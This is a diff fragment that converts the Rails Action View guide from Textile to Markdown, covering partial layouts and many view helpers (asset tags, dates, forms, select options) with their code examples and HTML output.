This example would output the following:
-<html>
+```html
<div class='box'>
<div id='post_1'>
<p>Partial Layouts are cool!</p>
</div>
</div>
-</html>
+```
-Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
-You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead:
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `post` partial, we could do this instead:
-*posts/show.html.erb*
+**posts/show.html.erb**
-<ruby>
+```html+erb
<% render(:layout => 'box', :locals => {:post => @post}) do %>
<%= div_for(post) do %>
<p><%= post.body %></p>
<% end %>
<% end %>
-</ruby>
+```
-If we're using the same +box+ partial from above, his would produce the same output as the previous example.
+If we're using the same `box` partial from above, his would produce the same output as the previous example.
-h3. View Paths
+View Paths
+----------
TODO...
-h3. Overview of all the helpers provided by Action View
+Overview of all the helpers provided by Action View
+---------------------------------------------------
The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.
-h4. ActiveRecordHelper
+### ActiveRecordHelper
-The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
+The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the [Rails Form helpers guide](form_helpers.html).
-h5. error_message_on
+#### error_message_on
Returns a string containing the error message attached to the method on the object if one exists.
-<ruby>
+```ruby
error_message_on "post", "title"
-</ruby>
+```
-h5. error_messages_for
+#### error_messages_for
Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
-<ruby>
+```ruby
error_messages_for "post"
-</ruby>
+```
-h5. form
+#### form
-Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
+Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a `@post` with attributes named `title` of type `String` and `body` of type `Text`. Calling `form` would produce a form to creating a new post with inputs for those attributes.
-<ruby>
+```ruby
form("post")
-</ruby>
+```
-<html>
+```html
<form action='/posts/create' method='post'>
<p>
<label for="post_title">Title</label><br />
@@ -437,269 +446,269 @@ form("post")
</p>
<input name="commit" type="submit" value="Create" />
</form>
-</html>
+```
-Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
+Typically, `form_for` is used instead of `form` because it doesn't automatically include all of the model's attributes.
-h5. input
+#### input
Returns a default input tag for the type of object returned by the method.
-For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World":
+For example, if `@post` has an attribute `title` mapped to a `String` column that holds "Hello World":
-<ruby>
+```ruby
input("post", "title") # =>
<input id="post_title" name="post[title]" type="text" value="Hello World" />
-</ruby>
+```
-h4. RecordTagHelper
+### RecordTagHelper
-This module provides methods for generating container tags, such as +div+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
+This module provides methods for generating container tags, such as `div`, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
-h5. content_tag_for
+#### content_tag_for
Renders a container tag that relates to your Active Record Object.
-For example, given +@post+ is the object of +Post+ class, you can do:
+For example, given `@post` is the object of `Post` class, you can do:
-<ruby>
+```html+erb
<%= content_tag_for(:tr, @post) do %>
<td><%= @post.title %></td>
<% end %>
-</ruby>
+```
This will generate this HTML output:
-<html>
+```html
<tr id="post_1234" class="post">
<td>Hello World!</td>
</tr>
-</html>
+```
You can also supply HTML attributes as an additional option hash. For example:
-<ruby>
+```html+erb
<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
<td><%= @post.title %></td>
<% end %>
-</ruby>
+```
Will generate this HTML output:
-<html>
+```html
<tr id="post_1234" class="post frontpage">
<td>Hello World!</td>
</tr>
-</html>
+```
-You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects:
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
-<ruby>
+```html+erb
<%= content_tag_for(:tr, @posts) do |post| %>
<td><%= post.title %></td>
<% end %>
-</ruby>
+```
Will generate this HTML output:
-<html>
+```html
<tr id="post_1234" class="post">
<td>Hello World!</td>
</tr>
<tr id="post_1235" class="post">
<td>Ruby on Rails Rocks!</td>
</tr>
-</html>
+```
-h5. div_for
+#### div_for
-This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
+This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
-<ruby>
+```html+erb
<%= div_for(@post, :class => "frontpage") do %>
<td><%= @post.title %></td>
<% end %>
-</ruby>
+```
Will generate this HTML output:
-<html>
+```html
<div id="post_1234" class="post frontpage">
<td>Hello World!</td>
</div>
-</html>
+```
-h4. AssetTagHelper
+### AssetTagHelper
This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
-By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +config.action_controller.asset_host+ in the application configuration, typically in +config/environments/production.rb+. For example, let's say your asset host is +assets.example.com+:
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`:
-<ruby>
+```ruby
config.action_controller.asset_host = "assets.example.com"
image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
-</ruby>
+```
-h5. register_javascript_expansion
+#### register_javascript_expansion
-Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +vendor/assets/javascripts+.
+Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in `vendor/assets/javascripts`.
-<ruby>
+```ruby
ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
javascript_include_tag :monkey # =>
<script src="/assets/head.js"></script>
<script src="/assets/body.js"></script>
<script src="/assets/tail.js"></script>
-</ruby>
+```
-h5. register_stylesheet_expansion
+#### register_stylesheet_expansion
-Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +vendor/assets/stylesheets+.
+Register one or more stylesheet files to be included when symbol is passed to `stylesheet_link_tag`. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in `vendor/assets/stylesheets`.
-<ruby>
+```ruby
ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
stylesheet_link_tag :monkey # =>
<link href="/assets/head.css" media="screen" rel="stylesheet" />
<link href="/assets/body.css" media="screen" rel="stylesheet" />
<link href="/assets/tail.css" media="screen" rel="stylesheet" />
-</ruby>
+```
-h5. auto_discovery_link_tag
+#### auto_discovery_link_tag
Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
-<ruby>
+```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # =>
<link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
-</ruby>
+```
-h5. image_path
+#### image_path
-Computes the path to an image asset in the +app/assets/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
+Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path.
-<ruby>
+```ruby
image_path("edit.png") # => /assets/edit.png
-</ruby>
+```
Fingerprint will be added to the filename if config.assets.digest is set to true.
-<ruby>
+```ruby
image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
-</ruby>
+```
-h5. image_url
+#### image_url
-Computes the url to an image asset in the +app/asset/images+ directory. This will call +image_path+ internally and merge with your current host or your asset host.
+Computes the url to an image asset in the `app/asset/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
-<ruby>
+```ruby
image_url("edit.png") # => http://www.example.com/assets/edit.png
-</ruby>
+```
-h5. image_tag
+#### image_tag
-Returns an html image tag for the source. The source can be a full path or a file that exists in your +app/assets/images+ directory.
+Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
-<ruby>
+```ruby
image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
-</ruby>
+```
-h5. javascript_include_tag
+#### javascript_include_tag
-Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +app/assets/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
+Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
-<ruby>
+```ruby
javascript_include_tag "common" # => <script src="/assets/common.js"></script>
-</ruby>
+```
-If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +app/assets/javascripts+ directory, it will be included as well.
+If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well.
-<ruby>
+```ruby
javascript_include_tag :defaults
-</ruby>
+```
-You can also include all JavaScript files in the +app/assets/javascripts+ directory using +:all+ as the source.
+You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source.
-<ruby>
+```ruby
javascript_include_tag :all
-</ruby>
+```
-You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-<ruby>
+```ruby
javascript_include_tag :all, :cache => true # =>
<script src="/javascripts/all.js"></script>
-</ruby>
+```
-h5. javascript_path
+#### javascript_path
-Computes the path to a JavaScript asset in the +app/assets/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
+Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
-<ruby>
+```ruby
javascript_path "common" # => /assets/common.js
-</ruby>
+```
-h5. javascript_url
+#### javascript_url
-Computes the url to a JavaScript asset in the +app/assets/javascripts+ directory. This will call +javascript_path+ internally and merge with your current host or your asset host.
+Computes the url to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host.
-<ruby>
+```ruby
javascript_url "common" # => http://www.example.com/assets/common.js
-</ruby>
+```
-h5. stylesheet_link_tag
+#### stylesheet_link_tag
-Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.
-<ruby>
+```ruby
stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
-</ruby>
+```
You can also include all styles in the stylesheet directory using :all as the source:
-<ruby>
+```ruby
stylesheet_link_tag :all
-</ruby>
+```
You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-<ruby>
+```ruby
stylesheet_link_tag :all, :cache => true
# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
-</ruby>
+```
-h5. stylesheet_path
+#### stylesheet_path
-Computes the path to a stylesheet asset in the +app/assets/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
-<ruby>
+```ruby
stylesheet_path "application" # => /assets/application.css
-</ruby>
+```
-h5. stylesheet_url
+#### stylesheet_url
-Computes the url to a stylesheet asset in the +app/assets/stylesheets+ directory. This will call +stylesheet_path+ internally and merge with your current host or your asset host.
+Computes the url to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host.
-<ruby>
+```ruby
stylesheet_url "application" # => http://www.example.com/assets/application.css
-</ruby>
+```
-h4. AtomFeedHelper
+### AtomFeedHelper
-h5. atom_feed
+#### atom_feed
This helper makes building an Atom feed easy. Here's a full usage example:
-*config/routes.rb*
+**config/routes.rb**
-<ruby>
+```ruby
resources :posts
-</ruby>
+```
-*app/controllers/posts_controller.rb*
+**app/controllers/posts_controller.rb**
-<ruby>
+```ruby
def index
@posts = Post.all
@@ -708,11 +717,11 @@ def index
format.atom
end
end
-</ruby>
+```
-*app/views/posts/index.atom.builder*
+**app/views/posts/index.atom.builder**
-<ruby>
+```ruby
atom_feed do |feed|
feed.title("Posts Index")
feed.updated((@posts.first.created_at))
@@ -728,49 +737,49 @@ atom_feed do |feed|
end
end
end
-</ruby>
+```
-h4. BenchmarkHelper
+### BenchmarkHelper
-h5. benchmark
+#### benchmark
Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
-<ruby>
+```html+erb
<% benchmark "Process data files" do %>
<%= expensive_files_operation %>
<% end %>
-</ruby>
+```
This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
-h4. CacheHelper
+### CacheHelper
-h5. cache
+#### cache
-A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
+A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information.
-<ruby>
+```erb
<% cache do %>
<%= render "shared/footer" %>
<% end %>
-</ruby>
+```
-h4. CaptureHelper
+### CaptureHelper
-h5. capture
+#### capture
-The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
-<ruby>
+```html+erb
<% @greeting = capture do %>
<p>Welcome! The date and time is <%= Time.now %></p>
<% end %>
-</ruby>
+```
The captured variable can then be used anywhere else.
-<ruby>
+```html+erb
<html>
<head>
<title>Welcome!</title>
@@ -779,17 +788,17 @@ The captured variable can then be used anywhere else.
<%= @greeting %>
</body>
</html>
-</ruby>
+```
-h5. content_for
+#### content_for
-Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+.
+Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`.
-For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use +content_for+ to include this JavaScript on our special page without fattening up the rest of the site.
+For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site.
-*app/views/layouts/application.html.erb*
+**app/views/layouts/application.html.erb**
-<ruby>
+```html+erb
<html>
<head>
<title>Welcome!</title>
@@ -799,165 +808,165 @@ For example, let's say we have a standard application layout, but also a special
<p>Welcome! The date and time is <%= Time.now %></p>
</body>
</html>
-</ruby>
+```
-*app/views/posts/special.html.erb*
+**app/views/posts/special.html.erb**
-<ruby>
+```html+erb
<p>This is a special page.</p>
<% content_for :special_script do %>
<script>alert('Hello!')</script>
<% end %>
-</ruby>
+```
-h4. DateHelper
+### DateHelper
-h5. date_select
+#### date_select
Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
-<ruby>
+```ruby
date_select("post", "published_on")
-</ruby>
+```
-h5. datetime_select
+#### datetime_select
Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
-<ruby>
+```ruby
datetime_select("post", "published_on")
-</ruby>
+```
-h5. distance_of_time_in_words
+#### distance_of_time_in_words
-Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.
-<ruby>
+```ruby
distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute
distance_of_time_in_words(Time.now, Time.now + 15.seconds, :include_seconds => true) # => less than 20 seconds
-</ruby>
+```
-h5. select_date
+#### select_date
-Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
+Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided.
-<ruby>
+```ruby
# Generates a date select that defaults to the date provided (six days after today)
select_date(Time.today + 6.days)
# Generates a date select that defaults to today (no specified date)
select_date()
-</ruby>
+```
-h5. select_datetime
+#### select_datetime
-Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
+Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
-<ruby>
+```ruby
# Generates a datetime select that defaults to the datetime provided (four days after today)
select_datetime(Time.now + 4.days)
# Generates a datetime select that defaults to today (no specified datetime)
select_datetime()
-</ruby>
+```
-h5. select_day
+#### select_day
Returns a select tag with options for each of the days 1 through 31 with the current day selected.
-<ruby>
+```ruby
# Generates a select field for days that defaults to the day for the date provided
select_day(Time.today + 2.days)
# Generates a select field for days that defaults to the number given
select_day(5)
-</ruby>
+```
-h5. select_hour
+#### select_hour
Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-<ruby>
+```ruby
# Generates a select field for minutes that defaults to the minutes for the time provided
select_minute(Time.now + 6.hours)
-</ruby>
+```
-h5. select_minute
+#### select_minute
Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-<ruby>
+```ruby
# Generates a select field for minutes that defaults to the minutes for the time provided.
select_minute(Time.now + 6.hours)
-</ruby>
+```
-h5. select_month
+#### select_month
Returns a select tag with options for each of the months January through December with the current month selected.
-<ruby>
+```ruby
# Generates a select field for months that defaults to the current month
select_month(Date.today)
-</ruby>
+```
-h5. select_second
+#### select_second
Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-<ruby>
+```ruby
# Generates a select field for seconds that defaults to the seconds for the time provided
select_second(Time.now + 16.minutes)
-</ruby>
+```
-h5. select_time
+#### select_time
Returns a set of html select-tags (one for hour and minute).
-<ruby>
+```ruby
# Generates a time select that defaults to the time provided
select_time(Time.now)
-</ruby>
+```
-h5. select_year
+#### select_year
-Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`.
-<ruby>
+```ruby
# Generates a select field for five years on either side of Date.today that defaults to the current year
select_year(Date.today)
# Generates a select field from 1900 to 2009 that defaults to the current year
select_year(Date.today, :start_year => 1900, :end_year => 2009)
-</ruby>
+```
-h5. time_ago_in_words
+#### time_ago_in_words
-Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
+Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`.
-<ruby>
+```ruby
time_ago_in_words(3.minutes.from_now) # => 3 minutes
-</ruby>
+```
-h5. time_select
+#### time_select
Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
-<ruby>
+```ruby
# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
time_select("order", "submitted")
-</ruby>
+```
-h4. DebugHelper
+### DebugHelper
-Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object.
-<ruby>
+```ruby
my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
debug(my_hash)
-</ruby>
+```
-<html>
+```html
<pre class='debug_dump'>---
first: 1
second: two
@@ -966,9 +975,9 @@ third:
- 2
- 3
</pre>
-</html>
+```
-h4. FormHelper
+### FormHelper
Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
@@ -976,49 +985,49 @@ There are two types of form helpers: those that specifically work with model att
The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
-<ruby>
+```html+erb
# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
<%= form_for @person, :url => { :action => "create" } do |f| %>
<%= f.text_field :first_name %>
<%= f.text_field :last_name %>
<%= submit_tag 'Create' %>
<% end %>
-</ruby>
+```
The HTML generated for this would be:
-<html>
+```html
<form action="/persons/create" method="post">
<input id="person_first_name" name="person[first_name]" type="text" />
<input id="person_last_name" name="person[last_name]" type="text" />
<input name="commit" type="submit" value="Create" />
</form>
-</html>
+```
The params object created when this form is submitted would look like:
-<ruby>
+```ruby
{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
-</ruby>
+```
The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
-h5. check_box
+#### check_box
Returns a checkbox tag tailored for accessing a specified attribute.
-<ruby>
+```ruby
# Let's say that @post.validated? is 1:
check_box("post", "validated")
# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
# <input name="post[validated]" type="hidden" value="0" />
-</ruby>
+```
-h5. fields_for
+#### fields_for
Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
-<ruby>
+```html+erb
<%= form_for @person, :url => { :action => "update" } do |person_form| %>
First name: <%= person_form.text_field :first_name %>
Last name : <%= person_form.text_field :last_name %>
@@ -1027,100 +1036,100 @@ Creates a scope around a specific model object like form_for, but doesn't create
Admin? : <%= permission_fields.check_box :admin %>
<% end %>
<% end %>
-</ruby>
+```
-h5. file_field
+#### file_field
Returns a file upload input tag tailored for accessing a specified attribute.
-<ruby>
+```ruby
file_field(:user, :avatar)
# => <input type="file" id="user_avatar" name="user[avatar]" />
-</ruby>
+```
-h5. form_for
+#### form_for
Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
-<ruby>
+```html+erb
<%= form_for @post do |f| %>
<%= f.label :title, 'Title' %>:
<%= f.text_field :title %><br />
<%= f.label :body, 'Body' %>:
<%= f.text_area :body %><br />
<% end %>
-</ruby>
+```
-h5. hidden_field
+#### hidden_field
Returns a hidden input tag tailored for accessing a specified attribute.
-<ruby>
+```ruby
hidden_field(:user, :token)
# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-</ruby>
+```
-h5. label
+#### label
Returns a label tag tailored for labelling an input field for a specified attribute.
-<ruby>
+```ruby
label(:post, :title)
# => <label for="post_title">Title</label>
-</ruby>
+```
-h5. password_field
+#### password_field
Returns an input tag of the "password" type tailored for accessing a specified attribute.
-<ruby>
+```ruby
password_field(:login, :pass)
# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
-</ruby>
+```
-h5. radio_button
+#### radio_button
Returns a radio button tag for accessing a specified attribute.
-<ruby>
+```ruby
# Let's say that @post.category returns "rails":
radio_button("post", "category", "rails")
radio_button("post", "category", "java")
# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
# <input type="radio" id="post_category_java" name="post[category]" value="java" />
-</ruby>
+```
-h5. text_area
+#### text_area
Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
-<ruby>
+```ruby
text_area(:comment, :text, :size => "20x30")
# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
# #{@comment.text}
# </textarea>
-</ruby>
+```
-h5. text_field
+#### text_field
Returns an input tag of the "text" type tailored for accessing a specified attribute.
-<ruby>
+```ruby
text_field(:post, :title)
# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
-</ruby>
+```
-h4. FormOptionsHelper
+### FormOptionsHelper
Provides a number of methods for turning different kinds of containers into a set of option tags.
-h5. collection_select
+#### collection_select
-Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class.
+Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class.
Example object structure for use with this method:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
belongs_to :author
end
@@ -1131,32 +1140,32 @@ class Author < ActiveRecord::Base
"#{first_name.first}. #{last_name}"
end
end
-</ruby>
+```
-Sample usage (selecting the associated Author for an instance of Post, +@post+):
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
-<ruby>
+```ruby
collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
-</ruby>
+```
-If <tt>@post.author_id</tt> is 1, this would return:
+If `@post.author_id` is 1, this would return:
-<html>
+```html
<select name="post[author_id]">
<option value="">Please select</option>
<option value="1" selected="selected">D. Heinemeier Hansson</option>
<option value="2">D. Thomas</option>
<option value="3">M. Clark</option>
</select>
-</html>
+```
-h5. collection_radio_buttons
+#### collection_radio_buttons
-Returns +radio_button+ tags for the collection of existing return values of +method+ for +object+'s class.
+Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class.
Example object structure for use with this method:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
belongs_to :author
end
@@ -1167,32 +1176,32 @@ class Author < ActiveRecord::Base
"#{first_name.first}. #{last_name}"
end
end
-</ruby>
+```
-Sample usage (selecting the associated Author for an instance of Post, +@post+):
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
-<ruby>
+```ruby
collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
-</ruby>
+```
-If <tt>@post.author_id</tt> is 1, this would return:
+If `@post.author_id` is 1, this would return:
-<html>
+```html
<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
<label for="post_author_id_1">D. Heinemeier Hansson</label>
<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
<label for="post_author_id_2">D. Thomas</label>
<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
<label for="post_author_id_3">M. Clark</label>
-</html>
+```
-h5. collection_check_boxes
+#### collection_check_boxes
-Returns +check_box+ tags for the collection of existing return values of +method+ for +object+'s class.
+Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class.
Example object structure for use with this method:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
has_and_belongs_to_many :author
end
@@ -1203,17 +1212,17 @@ class Author < ActiveRecord::Base
"#{first_name.first}. #{last_name}"
end
end
-</ruby>
+```
-Sample usage (selecting the associated Authors for an instance of Post, +@post+):
+Sample usage (selecting the associated Authors for an instance of Post, `@post`):
-<ruby>
+```ruby
collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
-</ruby>
+```
-If <tt>@post.author_ids</tt> is [1], this would return:
+If `@post.author_ids` is [1], this would return:
-<html>
+```html
<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
<label for="post_author_ids_1">D. Heinemeier Hansson</label>
<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
@@ -1221,23 +1230,23 @@ If <tt>@post.author_ids</tt> is [1], this would return:
<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
<label for="post_author_ids_3">M. Clark</label>
<input name="post[author_ids][]" type="hidden" value="" />
-</html>
+```
-h5. country_options_for_select
+#### country_options_for_select
Returns a string of option tags for pretty much any country in the world.
-h5. country_select
+#### country_select
Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
-h5. option_groups_from_collection_for_select
+#### option_groups_from_collection_for_select
-Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments.
+Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments.
Example object structure for use with this method:
-<ruby>
+```ruby
class Continent < ActiveRecord::Base
has_many :countries
# attribs: id, name
@@ -1247,17 +1256,17 @@ class Country < ActiveRecord::Base
belongs_to :continent
# attribs: id, name, continent_id
end
-</ruby>
+```
Sample usage:
-<ruby>
+```ruby
option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-</ruby>
+```
Possible output:
-<html>
+```html
<optgroup label="Africa">
<option value="1">Egypt</option>
<option value="4">Rwanda</option>
@@ -1269,328 +1278,329 @@ Possible output:
<option value="5">Japan</option>
...
</optgroup>
-</html>
+```
-Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
+Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
-h5. options_for_select
+#### options_for_select
Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
-<ruby>
+```ruby
options_for_select([ "VISA", "MasterCard" ])
# => <option>VISA</option> <option>MasterCard</option>
-</ruby>
+```
